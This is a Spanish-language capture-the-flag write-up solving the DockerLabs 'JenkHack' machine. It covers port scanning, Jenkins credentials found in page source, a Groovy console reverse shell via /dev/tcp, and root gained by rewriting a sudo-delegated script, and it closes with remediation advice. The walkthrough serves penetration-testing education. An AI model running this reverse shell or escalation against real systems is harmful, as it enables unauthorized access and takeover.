Ir al contenido

JenkHack

Este documento presenta la resolución completa de la máquina JenkHack, desarrollada por d1se0 para la plataforma DockerLabs y clasificada con nivel de dificultad fácil.

El análisis se estructura de manera técnica y ordenada, abarcando:

  • Identificación de vectores de ataque.
  • Explotación basada en fallos de configuración y exposición de información sensible.
  • Abuso de binarios delegados mediante sudo para escalar privilegios hasta obtener acceso root.
  • Recomendaciones aplicables a entornos reales.

La metodología utilizada se divide en tres etapas principales:

  1. Reconocimiento: Enumeración de puertos y análisis del contenido web.
  2. Explotación: Acceso a Jenkins mediante credenciales expuestas.
  3. Escalada de privilegios: Manipulación de scripts ejecutados con privilegios elevados.

Todo el procedimiento se llevó a cabo en un entorno aislado dentro de DockerLabs.


AtributoValor
NombreJenkHack
Autord1se0
DificultadFácil
Fecha05/09/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip JenkHack.zip

Iniciar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh JenkHack.tar

El script entrega la IP interna que utilizaremos para todo el análisis:

IP asignada


Ventana de terminal
mkdir -p JenkHack/{content,exploits,nmap,gobuster,scripts}
cd JenkHack

Mantener el workspace organizado facilita la documentación y la repetición del proceso.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 80/tcp — HTTP
  • 443/tcp — HTTPS
  • 8080/tcp — HTTP

Puertos abiertos

La presencia de múltiples servicios web aumenta las posibilidades de encontrar información sensible o configuraciones erróneas.


Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

El escaneo no revela directorios críticos, pero sí confirmamos un index.php activo.

Index


En ambos puertos se observa un panel de autenticación perteneciente a Jenkins. No es posible acceder sin credenciales válidas en esta etapa.


Dentro del código fuente del index.php en el puerto 80 se encuentran credenciales expuestas:

user in code

Estas credenciales permiten autenticarse como admin en el panel Jenkins expuesto en el puerto 8080. El inicio de sesión funciona correctamente y obtenemos acceso al dashboard:

jenkins dashboard

Ejecución remota mediante Groovy Script Console

Sección titulada «Ejecución remota mediante Groovy Script Console»

Al tener privilegios administrativos en Jenkins, es posible obtener una reverse shell ejecutando un script Groovy desde /script.

Script utilizado:

Ventana de terminal
r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/172.17.0.1/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

groovy script

Iniciar el listener:

Ventana de terminal
nc -nlvp 443

Tras ejecutar el script obtenemos una reverseshell como usuario jenkins:

reverseshell


En el directorio /var/www/jenkhack se encuentra un archivo note.txt:

note.txt content

La contraseña está codificada. Usando CyberChef se identifica que está en Base85:

cyberchef decode

Con la credencial decodificada es posible iniciar sesión como el usuario jenkhack.


3.2 De jenkhack → root (abuso de script delegado)

Sección titulada «3.2 De jenkhack → root (abuso de script delegado)»

Salida de:

Ventana de terminal
sudo -l

jenkhack sudo -l

El usuario puede ejecutar /usr/local/bin/bash como root. Sin embargo, al ejecutarlo:

run /usr/local/bin/bash

Esto indica que el binario está envolviendo un script. Revisando su contenido con strings, aparece una referencia a /opt/bash.sh:

bash.sh content

Dado que el usuario tiene permisos de escritura sobre /opt/bash.sh, la escalada consiste en:

  1. Eliminar el script:

    Ventana de terminal
    rm /opt/bash.sh
  2. Crear uno nuevo:

    Ventana de terminal
    echo -e "#!/bin/bash\n/bin/bash" > /opt/bash.sh
    chmod +x /opt/bash.sh
  3. Ejecutar el binario delegado:

    Ventana de terminal
    sudo -u root /usr/local/bin/bash

Resultado:

user root

Acceso root obtenido exitosamente.


  • Credenciales expuestas en código fuente accesible públicamente.
  • Panel Jenkins accesible sin restricciones adicionales.
  • Uso de Groovy Script Console habilitado para administradores.
  • Delegación insegura de privilegios mediante sudo a scripts editables por usuarios sin privilegios.
  • Ausencia de control de integridad en binarios wrapper.

  • Evitar almacenar credenciales en código fuente o archivos accesibles desde el navegador.
  • Restringir el acceso a Jenkins mediante firewall, autenticación robusta y MFA.
  • Deshabilitar la Script Console o limitarla estrictamente.
  • Configurar sudo con binarios o scripts protegidos, nunca editables por usuarios.
  • Mantener permisos estrictos en directorios del sistema.
  • Implementar escaneos periódicos de configuración y exposición de secretos.